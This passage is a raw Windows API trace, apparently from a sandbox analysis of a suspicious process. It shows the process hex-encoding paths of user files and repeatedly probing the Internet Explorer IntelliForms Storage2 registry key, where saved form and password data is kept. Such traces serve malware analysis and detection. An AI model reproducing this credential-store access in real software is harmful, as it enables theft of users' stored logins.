lpString1="0FD45711B3271117") returned="0FD45711B3271117" [0078.013] lstrcatA (in: lpString1="0FD45711B3271117", lpString2="5C" | out: lpString1="0FD45711B32711175C") returned="0FD45711B32711175C" [0078.013] LocalFree (hMem=0x65a768) returned 0x0 [0078.014] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="AD") returned 2 [0078.014] lstrlenA (lpString="0FD45711B32711175C") returned 18 [0078.014] lstrlenA (lpString="AD") returned 2 [0078.014] LocalAlloc (uFlags=0x40, uBytes=0x95) returned 0x65a768 [0078.014] lstrcpyA (in: lpString1=0x65a768, lpString2="0FD45711B32711175C" | out: lpString1="0FD45711B32711175C") returned="0FD45711B32711175C" [0078.014] lstrcatA (in: lpString1="0FD45711B32711175C", lpString2="AD" | out: lpString1="0FD45711B32711175CAD") returned="0FD45711B32711175CAD" [0078.014] LocalFree (hMem=0x65a658) returned 0x0 [0078.014] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="02") returned 2 [0078.014] lstrlenA (lpString="0FD45711B32711175CAD") returned 20 [0078.014] lstrlenA (lpString="02") returned 2 [0078.014] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x65a658 [0078.014] lstrcpyA (in: lpString1=0x65a658, lpString2="0FD45711B32711175CAD" | out: lpString1="0FD45711B32711175CAD") returned="0FD45711B32711175CAD" [0078.014] lstrcatA (in: lpString1="0FD45711B32711175CAD", lpString2="02" | out: lpString1="0FD45711B32711175CAD02") returned="0FD45711B32711175CAD02" [0078.014] LocalFree (hMem=0x65a768) returned 0x0 [0078.014] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="3D") returned 2 [0078.014] lstrlenA (lpString="0FD45711B32711175CAD02") returned 22 [0078.014] lstrlenA (lpString="3D") returned 2 [0078.014] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x652968 [0078.014] lstrcpyA (in: lpString1=0x652968, lpString2="0FD45711B32711175CAD02" | out: lpString1="0FD45711B32711175CAD02") returned="0FD45711B32711175CAD02" [0078.014] lstrcatA (in: lpString1="0FD45711B32711175CAD02", lpString2="3D" | out: lpString1="0FD45711B32711175CAD023D") returned="0FD45711B32711175CAD023D" [0078.014] LocalFree (hMem=0x65a658) returned 0x0 [0078.014] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="5B") returned 2 [0078.014] lstrlenA (lpString="0FD45711B32711175CAD023D") returned 24 [0078.014] lstrlenA (lpString="5B") returned 2 [0078.014] LocalAlloc (uFlags=0x40, uBytes=0x9b) returned 0x652b60 [0078.014] lstrcpyA (in: lpString1=0x652b60, lpString2="0FD45711B32711175CAD023D" | out: lpString1="0FD45711B32711175CAD023D") returned="0FD45711B32711175CAD023D" [0078.014] lstrcatA (in: lpString1="0FD45711B32711175CAD023D", lpString2="5B" | out: lpString1="0FD45711B32711175CAD023D5B") returned="0FD45711B32711175CAD023D5B" [0078.014] LocalFree (hMem=0x652968) returned 0x0 [0078.014] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="E1") returned 2 [0078.014] lstrlenA (lpString="0FD45711B32711175CAD023D5B") returned 26 [0078.014] lstrlenA (lpString="E1") returned 2 [0078.014] LocalAlloc (uFlags=0x40, uBytes=0x9d) returned 0x652968 [0078.014] lstrcpyA (in: lpString1=0x652968, lpString2="0FD45711B32711175CAD023D5B" | out: lpString1="0FD45711B32711175CAD023D5B") returned="0FD45711B32711175CAD023D5B" [0078.014] lstrcatA (in: lpString1="0FD45711B32711175CAD023D5B", lpString2="E1" | out: lpString1="0FD45711B32711175CAD023D5BE1") returned="0FD45711B32711175CAD023D5BE1" [0078.014] LocalFree (hMem=0x652b60) returned 0x0 [0078.014] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="14") returned 2 [0078.014] lstrlenA (lpString="0FD45711B32711175CAD023D5BE1") returned 28 [0078.014] lstrlenA (lpString="14") returned 2 [0078.014] LocalAlloc (uFlags=0x40, uBytes=0x9f) returned 0x652b60 [0078.014] lstrcpyA (in: lpString1=0x652b60, lpString2="0FD45711B32711175CAD023D5BE1" | out: lpString1="0FD45711B32711175CAD023D5BE1") returned="0FD45711B32711175CAD023D5BE1" [0078.015] lstrcatA (in: lpString1="0FD45711B32711175CAD023D5BE1", lpString2="14" | out: lpString1="0FD45711B32711175CAD023D5BE114") returned="0FD45711B32711175CAD023D5BE114" [0078.015] LocalFree (hMem=0x652968) returned 0x0 [0078.015] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="3B") returned 2 [0078.015] lstrlenA (lpString="0FD45711B32711175CAD023D5BE114") returned 30 [0078.015] lstrlenA (lpString="3B") returned 2 [0078.015] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x6293a8 [0078.015] lstrcpyA (in: lpString1=0x6293a8, lpString2="0FD45711B32711175CAD023D5BE114" | out: lpString1="0FD45711B32711175CAD023D5BE114") returned="0FD45711B32711175CAD023D5BE114" [0078.015] lstrcatA (in: lpString1="0FD45711B32711175CAD023D5BE114", lpString2="3B" | out: lpString1="0FD45711B32711175CAD023D5BE1143B") returned="0FD45711B32711175CAD023D5BE1143B" [0078.015] LocalFree (hMem=0x652b60) returned 0x0 [0078.015] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="08") returned 2 [0078.015] lstrlenA (lpString="0FD45711B32711175CAD023D5BE1143B") returned 32 [0078.015] lstrlenA (lpString="08") returned 2 [0078.015] LocalAlloc (uFlags=0x40, uBytes=0xa3) returned 0x6292f8 [0078.015] lstrcpyA (in: lpString1=0x6292f8, lpString2="0FD45711B32711175CAD023D5BE1143B" | out: lpString1="0FD45711B32711175CAD023D5BE1143B") returned="0FD45711B32711175CAD023D5BE1143B" [0078.015] lstrcatA (in: lpString1="0FD45711B32711175CAD023D5BE1143B", lpString2="08" | out: lpString1="0FD45711B32711175CAD023D5BE1143B08") returned="0FD45711B32711175CAD023D5BE1143B08" [0078.015] LocalFree (hMem=0x6293a8) returned 0x0 [0078.015] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="51") returned 2 [0078.015] lstrlenA (lpString="0FD45711B32711175CAD023D5BE1143B08") returned 34 [0078.015] lstrlenA (lpString="51") returned 2 [0078.015] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x6293a8 [0078.015] lstrcpyA (in: lpString1=0x6293a8, lpString2="0FD45711B32711175CAD023D5BE1143B08" | out: lpString1="0FD45711B32711175CAD023D5BE1143B08") returned="0FD45711B32711175CAD023D5BE1143B08" [0078.015] lstrcatA (in: lpString1="0FD45711B32711175CAD023D5BE1143B08", lpString2="51" | out: lpString1="0FD45711B32711175CAD023D5BE1143B0851") returned="0FD45711B32711175CAD023D5BE1143B0851" [0078.015] LocalFree (hMem=0x6292f8) returned 0x0 [0078.015] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="66") returned 2 [0078.015] lstrlenA (lpString="0FD45711B32711175CAD023D5BE1143B0851") returned 36 [0078.015] lstrlenA (lpString="66") returned 2 [0078.015] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x6292f8 [0078.015] lstrcpyA (in: lpString1=0x6292f8, lpString2="0FD45711B32711175CAD023D5BE1143B0851" | out: lpString1="0FD45711B32711175CAD023D5BE1143B0851") returned="0FD45711B32711175CAD023D5BE1143B0851" [0078.015] lstrcatA (in: lpString1="0FD45711B32711175CAD023D5BE1143B0851", lpString2="66" | out: lpString1="0FD45711B32711175CAD023D5BE1143B085166") returned="0FD45711B32711175CAD023D5BE1143B085166" [0078.015] LocalFree (hMem=0x6293a8) returned 0x0 [0078.015] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="22") returned 2 [0078.015] lstrlenA (lpString="0FD45711B32711175CAD023D5BE1143B085166") returned 38 [0078.015] lstrlenA (lpString="22") returned 2 [0078.015] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x647a00 [0078.015] lstrcpyA (in: lpString1=0x647a00, lpString2="0FD45711B32711175CAD023D5BE1143B085166" | out: lpString1="0FD45711B32711175CAD023D5BE1143B085166") returned="0FD45711B32711175CAD023D5BE1143B085166" [0078.015] lstrcatA (in: lpString1="0FD45711B32711175CAD023D5BE1143B085166", lpString2="22" | out: lpString1="0FD45711B32711175CAD023D5BE1143B08516622") returned="0FD45711B32711175CAD023D5BE1143B08516622" [0078.015] LocalFree (hMem=0x6292f8) returned 0x0 [0078.015] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="01") returned 2 [0078.015] lstrlenA (lpString="0FD45711B32711175CAD023D5BE1143B08516622") returned 40 [0078.015] lstrlenA (lpString="01") returned 2 [0078.015] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x647890 [0078.016] lstrcpyA (in: lpString1=0x647890, lpString2="0FD45711B32711175CAD023D5BE1143B08516622" | out: lpString1="0FD45711B32711175CAD023D5BE1143B08516622") returned="0FD45711B32711175CAD023D5BE1143B08516622" [0078.016] lstrcatA (in: lpString1="0FD45711B32711175CAD023D5BE1143B08516622", lpString2="01" | out: lpString1="0FD45711B32711175CAD023D5BE1143B0851662201") returned="0FD45711B32711175CAD023D5BE1143B0851662201" [0078.016] LocalFree (hMem=0x647a00) returned 0x0 [0078.016] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe04 | out: phkResult=0x12fe04*=0x0) returned 0x2 [0078.016] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fdd8 | out: phkResult=0x12fdd8*=0x0) returned 0x2 [0078.016] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fdac | out: phkResult=0x12fdac*=0x0) returned 0x2 [0078.016] LocalFree (hMem=0x647890) returned 0x0 [0078.016] CoTaskMemFree (pv=0x641f18) [0078.016] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Documents/RNXXLSlo/uToFKz.pps", lpSrch="?") returned 0x0 [0078.016] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Documents/RNXXLSlo/uToFKz.pps") returned 54 [0078.016] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="46") returned 2 [0078.016] lstrlenA (lpString="") returned 0 [0078.016] lstrlenA (lpString="46") returned 2 [0078.016] LocalAlloc (uFlags=0x40, uBytes=0x83) returned 0x65a658 [0078.016] lstrcpyA (in: lpString1=0x65a658, lpString2="" | out: lpString1="") returned="" [0078.016] lstrcatA (in: lpString1="", lpString2="46" | out: lpString1="46") returned="46" [0078.016] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="F1") returned 2 [0078.016] lstrlenA (lpString="46") returned 2 [0078.016] lstrlenA (lpString="F1") returned 2 [0078.016] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x65a768 [0078.016] lstrcpyA (in: lpString1=0x65a768, lpString2="46" | out: lpString1="46") returned="46" [0078.016] lstrcatA (in: lpString1="46", lpString2="F1" | out: lpString1="46F1") returned="46F1" [0078.016] LocalFree (hMem=0x65a658) returned 0x0 [0078.016] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="F0") returned 2 [0078.016] lstrlenA (lpString="46F1") returned 4 [0078.016] lstrlenA (lpString="F0") returned 2 [0078.016] LocalAlloc (uFlags=0x40, uBytes=0x87) returned 0x65a658 [0078.016] lstrcpyA (in: lpString1=0x65a658, lpString2="46F1" | out: lpString1="46F1") returned="46F1" [0078.016] lstrcatA (in: lpString1="46F1", lpString2="F0" | out: lpString1="46F1F0") returned="46F1F0" [0078.016] LocalFree (hMem=0x65a768) returned 0x0 [0078.016] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="8D") returned 2 [0078.016] lstrlenA (lpString="46F1F0") returned 6 [0078.016] lstrlenA (lpString="8D") returned 2 [0078.017] LocalAlloc (uFlags=0x40, uBytes=0x89) returned 0x65a768 [0078.017] lstrcpyA (in: lpString1=0x65a768, lpString2="46F1F0" | out: lpString1="46F1F0") returned="46F1F0" [0078.017] lstrcatA (in: lpString1="46F1F0", lpString2="8D" | out: lpString1="46F1F08D") returned="46F1F08D" [0078.017] LocalFree (hMem=0x65a658) returned 0x0 [0078.017] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="8F") returned 2 [0078.017] lstrlenA (lpString="46F1F08D") returned 8 [0078.017] lstrlenA (lpString="8F") returned 2 [0078.017] LocalAlloc (uFlags=0x40, uBytes=0x8b) returned 0x65a658 [0078.017] lstrcpyA (in: lpString1=0x65a658, lpString2="46F1F08D" | out: lpString1="46F1F08D") returned="46F1F08D" [0078.017] lstrcatA (in: lpString1="46F1F08D", lpString2="8F" | out: lpString1="46F1F08D8F") returned="46F1F08D8F" [0078.017] LocalFree (hMem=0x65a768) returned 0x0 [0078.017] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="3B") returned 2 [0078.017] lstrlenA (lpString="46F1F08D8F") returned 10 [0078.017] lstrlenA (lpString="3B") returned 2 [0078.017] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x65a768 [0078.017] lstrcpyA (in: lpString1=0x65a768, lpString2="46F1F08D8F" | out: lpString1="46F1F08D8F") returned="46F1F08D8F" [0078.017] lstrcatA (in: lpString1="46F1F08D8F", lpString2="3B" | out: lpString1="46F1F08D8F3B") returned="46F1F08D8F3B" [0078.017] LocalFree (hMem=0x65a658) returned 0x0 [0078.017] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="BB") returned 2 [0078.017] lstrlenA (lpString="46F1F08D8F3B") returned 12 [0078.017] lstrlenA (lpString="BB") returned 2 [0078.017] LocalAlloc (uFlags=0x40, uBytes=0x8f) returned 0x65a658 [0078.017] lstrcpyA (in: lpString1=0x65a658, lpString2="46F1F08D8F3B" | out: lpString1="46F1F08D8F3B") returned="46F1F08D8F3B" [0078.017] lstrcatA (in: lpString1="46F1F08D8F3B", lpString2="BB" | out: lpString1="46F1F08D8F3BBB") returned="46F1F08D8F3BBB" [0078.017] LocalFree (hMem=0x65a768) returned 0x0 [0078.017] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="7C") returned 2 [0078.017] lstrlenA (lpString="46F1F08D8F3BBB") returned 14 [0078.017] lstrlenA (lpString="7C") returned 2 [0078.017] LocalAlloc (uFlags=0x40, uBytes=0x91) returned 0x65a768 [0078.017] lstrcpyA (in: lpString1=0x65a768, lpString2="46F1F08D8F3BBB" | out: lpString1="46F1F08D8F3BBB") returned="46F1F08D8F3BBB" [0078.017] lstrcatA (in: lpString1="46F1F08D8F3BBB", lpString2="7C" | out: lpString1="46F1F08D8F3BBB7C") returned="46F1F08D8F3BBB7C" [0078.017] LocalFree (hMem=0x65a658) returned 0x0 [0078.017] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="39") returned 2 [0078.017] lstrlenA (lpString="46F1F08D8F3BBB7C") returned 16 [0078.017] lstrlenA (lpString="39") returned 2 [0078.017] LocalAlloc (uFlags=0x40, uBytes=0x93) returned 0x65a658 [0078.017] lstrcpyA (in: lpString1=0x65a658, lpString2="46F1F08D8F3BBB7C" | out: lpString1="46F1F08D8F3BBB7C") returned="46F1F08D8F3BBB7C" [0078.017] lstrcatA (in: lpString1="46F1F08D8F3BBB7C", lpString2="39" | out: lpString1="46F1F08D8F3BBB7C39") returned="46F1F08D8F3BBB7C39" [0078.017] LocalFree (hMem=0x65a768) returned 0x0 [0078.017] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="17") returned 2 [0078.017] lstrlenA (lpString="46F1F08D8F3BBB7C39") returned 18 [0078.018] lstrlenA (lpString="17") returned 2 [0078.018] LocalAlloc (uFlags=0x40, uBytes=0x95) returned 0x65a768 [0078.018] lstrcpyA (in: lpString1=0x65a768, lpString2="46F1F08D8F3BBB7C39" | out: lpString1="46F1F08D8F3BBB7C39") returned="46F1F08D8F3BBB7C39" [0078.018] lstrcatA (in: lpString1="46F1F08D8F3BBB7C39", lpString2="17" | out: lpString1="46F1F08D8F3BBB7C3917") returned="46F1F08D8F3BBB7C3917" [0078.018] LocalFree (hMem=0x65a658) returned 0x0 [0078.018] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="49") returned 2 [0078.018] lstrlenA (lpString="46F1F08D8F3BBB7C3917") returned 20 [0078.018] lstrlenA (lpString="49") returned 2 [0078.018] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x65a658 [0078.018] lstrcpyA (in: lpString1=0x65a658, lpString2="46F1F08D8F3BBB7C3917" | out: lpString1="46F1F08D8F3BBB7C3917") returned="46F1F08D8F3BBB7C3917" [0078.018] lstrcatA (in: lpString1="46F1F08D8F3BBB7C3917", lpString2="49" | out: lpString1="46F1F08D8F3BBB7C391749") returned="46F1F08D8F3BBB7C391749" [0078.018] LocalFree (hMem=0x65a768) returned 0x0 [0078.018] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="43") returned 2 [0078.018] lstrlenA (lpString="46F1F08D8F3BBB7C391749") returned 22 [0078.018] lstrlenA (lpString="43") returned 2 [0078.018] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x652b60 [0078.018] lstrcpyA (in: lpString1=0x652b60, lpString2="46F1F08D8F3BBB7C391749" | out: lpString1="46F1F08D8F3BBB7C391749") returned="46F1F08D8F3BBB7C391749" [0078.018] lstrcatA (in: lpString1="46F1F08D8F3BBB7C391749", lpString2="43" | out: lpString1="46F1F08D8F3BBB7C39174943") returned="46F1F08D8F3BBB7C39174943" [0078.018] LocalFree (hMem=0x65a658) returned 0x0 [0078.018] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="EF") returned 2 [0078.018] lstrlenA (lpString="46F1F08D8F3BBB7C39174943") returned 24 [0078.018] lstrlenA (lpString="EF") returned 2 [0078.018] LocalAlloc (uFlags=0x40, uBytes=0x9b) returned 0x652968 [0078.018] lstrcpyA (in: lpString1=0x652968, lpString2="46F1F08D8F3BBB7C39174943" | out: lpString1="46F1F08D8F3BBB7C39174943") returned="46F1F08D8F3BBB7C39174943" [0078.018] lstrcatA (in: lpString1="46F1F08D8F3BBB7C39174943", lpString2="EF" | out: lpString1="46F1F08D8F3BBB7C39174943EF") returned="46F1F08D8F3BBB7C39174943EF" [0078.018] LocalFree (hMem=0x652b60) returned 0x0 [0078.018] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="57") returned 2 [0078.018] lstrlenA (lpString="46F1F08D8F3BBB7C39174943EF") returned 26 [0078.018] lstrlenA (lpString="57") returned 2 [0078.018] LocalAlloc (uFlags=0x40, uBytes=0x9d) returned 0x652b60 [0078.018] lstrcpyA (in: lpString1=0x652b60, lpString2="46F1F08D8F3BBB7C39174943EF" | out: lpString1="46F1F08D8F3BBB7C39174943EF") returned="46F1F08D8F3BBB7C39174943EF" [0078.018] lstrcatA (in: lpString1="46F1F08D8F3BBB7C39174943EF", lpString2="57" | out: lpString1="46F1F08D8F3BBB7C39174943EF57") returned="46F1F08D8F3BBB7C39174943EF57" [0078.018] LocalFree (hMem=0x652968) returned 0x0 [0078.018] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="78") returned 2 [0078.018] lstrlenA (lpString="46F1F08D8F3BBB7C39174943EF57") returned 28 [0078.018] lstrlenA (lpString="78") returned 2 [0078.018] LocalAlloc (uFlags=0x40, uBytes=0x9f) returned 0x652968 [0078.018] lstrcpyA (in: lpString1=0x652968, lpString2="46F1F08D8F3BBB7C39174943EF57" | out: lpString1="46F1F08D8F3BBB7C39174943EF57") returned="46F1F08D8F3BBB7C39174943EF57" [0078.018] lstrcatA (in: lpString1="46F1F08D8F3BBB7C39174943EF57", lpString2="78" | out: lpString1="46F1F08D8F3BBB7C39174943EF5778") returned="46F1F08D8F3BBB7C39174943EF5778" [0078.018] LocalFree (hMem=0x652b60) returned 0x0 [0078.018] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="9B") returned 2 [0078.019] lstrlenA (lpString="46F1F08D8F3BBB7C39174943EF5778") returned 30 [0078.019] lstrlenA (lpString="9B") returned 2 [0078.019] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x6292f8 [0078.019] lstrcpyA (in: lpString1=0x6292f8, lpString2="46F1F08D8F3BBB7C39174943EF5778" | out: lpString1="46F1F08D8F3BBB7C39174943EF5778") returned="46F1F08D8F3BBB7C39174943EF5778" [0078.019] lstrcatA (in: lpString1="46F1F08D8F3BBB7C39174943EF5778", lpString2="9B" | out: lpString1="46F1F08D8F3BBB7C39174943EF57789B") returned="46F1F08D8F3BBB7C39174943EF57789B" [0078.019] LocalFree (hMem=0x652968) returned 0x0 [0078.019] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="2C") returned 2 [0078.019] lstrlenA (lpString="46F1F08D8F3BBB7C39174943EF57789B") returned 32 [0078.019] lstrlenA (lpString="2C") returned 2 [0078.019] LocalAlloc (uFlags=0x40, uBytes=0xa3) returned 0x6293a8 [0078.019] lstrcpyA (in: lpString1=0x6293a8, lpString2="46F1F08D8F3BBB7C39174943EF57789B" | out: lpString1="46F1F08D8F3BBB7C39174943EF57789B") returned="46F1F08D8F3BBB7C39174943EF57789B" [0078.019] lstrcatA (in: lpString1="46F1F08D8F3BBB7C39174943EF57789B", lpString2="2C" | out: lpString1="46F1F08D8F3BBB7C39174943EF57789B2C") returned="46F1F08D8F3BBB7C39174943EF57789B2C" [0078.019] LocalFree (hMem=0x6292f8) returned 0x0 [0078.019] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="26") returned 2 [0078.019] lstrlenA (lpString="46F1F08D8F3BBB7C39174943EF57789B2C") returned 34 [0078.019] lstrlenA (lpString="26") returned 2 [0078.019] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x6292f8 [0078.019] lstrcpyA (in: lpString1=0x6292f8, lpString2="46F1F08D8F3BBB7C39174943EF57789B2C" | out: lpString1="46F1F08D8F3BBB7C39174943EF57789B2C") returned="46F1F08D8F3BBB7C39174943EF57789B2C" [0078.019] lstrcatA (in: lpString1="46F1F08D8F3BBB7C39174943EF57789B2C", lpString2="26" | out: lpString1="46F1F08D8F3BBB7C39174943EF57789B2C26") returned="46F1F08D8F3BBB7C39174943EF57789B2C26" [0078.019] LocalFree (hMem=0x6293a8) returned 0x0 [0078.019] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="31") returned 2 [0078.019] lstrlenA (lpString="46F1F08D8F3BBB7C39174943EF57789B2C26") returned 36 [0078.019] lstrlenA (lpString="31") returned 2 [0078.019] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x6293a8 [0078.019] lstrcpyA (in: lpString1=0x6293a8, lpString2="46F1F08D8F3BBB7C39174943EF57789B2C26" | out: lpString1="46F1F08D8F3BBB7C39174943EF57789B2C26") returned="46F1F08D8F3BBB7C39174943EF57789B2C26" [0078.019] lstrcatA (in: lpString1="46F1F08D8F3BBB7C39174943EF57789B2C26", lpString2="31" | out: lpString1="46F1F08D8F3BBB7C39174943EF57789B2C2631") returned="46F1F08D8F3BBB7C39174943EF57789B2C2631" [0078.019] LocalFree (hMem=0x6292f8) returned 0x0 [0078.019] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="D0") returned 2 [0078.019] lstrlenA (lpString="46F1F08D8F3BBB7C39174943EF57789B2C2631") returned 38 [0078.019] lstrlenA (lpString="D0") returned 2 [0078.019] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x647890 [0078.019] lstrcpyA (in: lpString1=0x647890, lpString2="46F1F08D8F3BBB7C39174943EF57789B2C2631" | out: lpString1="46F1F08D8F3BBB7C39174943EF57789B2C2631") returned="46F1F08D8F3BBB7C39174943EF57789B2C2631" [0078.019] lstrcatA (in: lpString1="46F1F08D8F3BBB7C39174943EF57789B2C2631", lpString2="D0" | out: lpString1="46F1F08D8F3BBB7C39174943EF57789B2C2631D0") returned="46F1F08D8F3BBB7C39174943EF57789B2C2631D0" [0078.019] LocalFree (hMem=0x6293a8) returned 0x0 [0078.019] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="3D") returned 2 [0078.019] lstrlenA (lpString="46F1F08D8F3BBB7C39174943EF57789B2C2631D0") returned 40 [0078.019] lstrlenA (lpString="3D") returned 2 [0078.019] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x647a00 [0078.019] lstrcpyA (in: lpString1=0x647a00, lpString2="46F1F08D8F3BBB7C39174943EF57789B2C2631D0" | out: lpString1="46F1F08D8F3BBB7C39174943EF57789B2C2631D0") returned="46F1F08D8F3BBB7C39174943EF57789B2C2631D0" [0078.019] lstrcatA (in: lpString1="46F1F08D8F3BBB7C39174943EF57789B2C2631D0", lpString2="3D" | out: lpString1="46F1F08D8F3BBB7C39174943EF57789B2C2631D03D") returned="46F1F08D8F3BBB7C39174943EF57789B2C2631D03D" [0078.019] LocalFree (hMem=0x647890) returned 0x0 [0078.020] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe04 | out: phkResult=0x12fe04*=0x0) returned 0x2 [0078.020] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fdd8 | out: phkResult=0x12fdd8*=0x0) returned 0x2 [0078.020] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fdac | out: phkResult=0x12fdac*=0x0) returned 0x2 [0078.020] LocalFree (hMem=0x647a00) returned 0x0 [0078.020] CoTaskMemFree (pv=0x642080) [0078.020] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Pictures/sITlRIKp26ZRgZ5hQFnP/70PaL.png", lpSrch="?") returned 0x0 [0078.020] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Pictures/sITlRIKp26ZRgZ5hQFnP/70PaL.png") returned 64 [0078.020] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="03") returned 2 [0078.020] lstrlenA (lpString="") returned 0 [0078.020] lstrlenA (lpString="03") returned 2 [0078.020] LocalAlloc (uFlags=0x40, uBytes=0x83) returned 0x65a918 [0078.020] lstrcpyA (in: lpString1=0x65a918, lpString2="" | out: lpString1="") returned="" [0078.020] lstrcatA (in: lpString1="", lpString2="03" | out: lpString1="03") returned="03" [0078.020] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="89") returned 2 [0078.020] lstrlenA (lpString="03") returned 2 [0078.020] lstrlenA (lpString="89") returned 2 [0078.020] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x65a9a8 [0078.020] lstrcpyA (in: lpString1=0x65a9a8, lpString2="03" | out: lpString1="03") returned="03" [0078.020] lstrcatA (in: lpString1="03", lpString2="89" | out: lpString1="0389") returned="0389" [0078.020] LocalFree (hMem=0x65a918) returned 0x0 [0078.020] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="68") returned 2 [0078.020] lstrlenA (lpString="0389") returned 4 [0078.020] lstrlenA (lpString="68") returned 2 [0078.020] LocalAlloc (uFlags=0x40, uBytes=0x87) returned 0x65a918 [0078.020] lstrcpyA (in: lpString1=0x65a918, lpString2="0389" | out: lpString1="0389") returned="0389" [0078.020] lstrcatA (in: lpString1="0389", lpString2="68" | out: lpString1="038968") returned="038968" [0078.020] LocalFree (hMem=0x65a9a8) returned 0x0 [0078.020] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="BE") returned 2 [0078.020] lstrlenA (lpString="038968") returned 6 [0078.020] lstrlenA (lpString="BE") returned 2 [0078.020] LocalAlloc (uFlags=0x40, uBytes=0x89) returned 0x65a9a8 [0078.020] lstrcpyA (in: lpString1=0x65a9a8, lpString2="038968" | out: lpString1="038968") returned="038968" [0078.020] lstrcatA (in: lpString1="038968", lpString2="BE" | out: lpString1="038968BE") returned="038968BE" [0078.020] LocalFree (hMem=0x65a918) returned 0x0 [0078.021] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="59") returned 2 [0078.021] lstrlenA (lpString="038968BE") returned 8 [0078.021] lstrlenA (lpString="59") returned 2 [0078.021] LocalAlloc (uFlags=0x40, uBytes=0x8b) returned 0x65aa40 [0078.021] lstrcpyA (in: lpString1=0x65aa40, lpString2="038968BE" | out: lpString1="038968BE") returned="038968BE" [0078.021] lstrcatA (in: lpString1="038968BE", lpString2="59" | out: lpString1="038968BE59") returned="038968BE59" [0078.021] LocalFree (hMem=0x65a9a8) returned 0x0 [0078.021] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="20") returned 2 [0078.021] lstrlenA (lpString="038968BE59") returned 10 [0078.021] lstrlenA (lpString="20") returned 2 [0078.021] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x65a918 [0078.021] lstrcpyA (in: lpString1=0x65a918, lpString2="038968BE59" | out: lpString1="038968BE59") returned="038968BE59" [0078.021] lstrcatA (in: lpString1="038968BE59", lpString2="20" | out: lpString1="038968BE5920") returned="038968BE5920" [0078.021] LocalFree (hMem=0x65aa40) returned 0x0 [0078.021] wsprintfA (in: 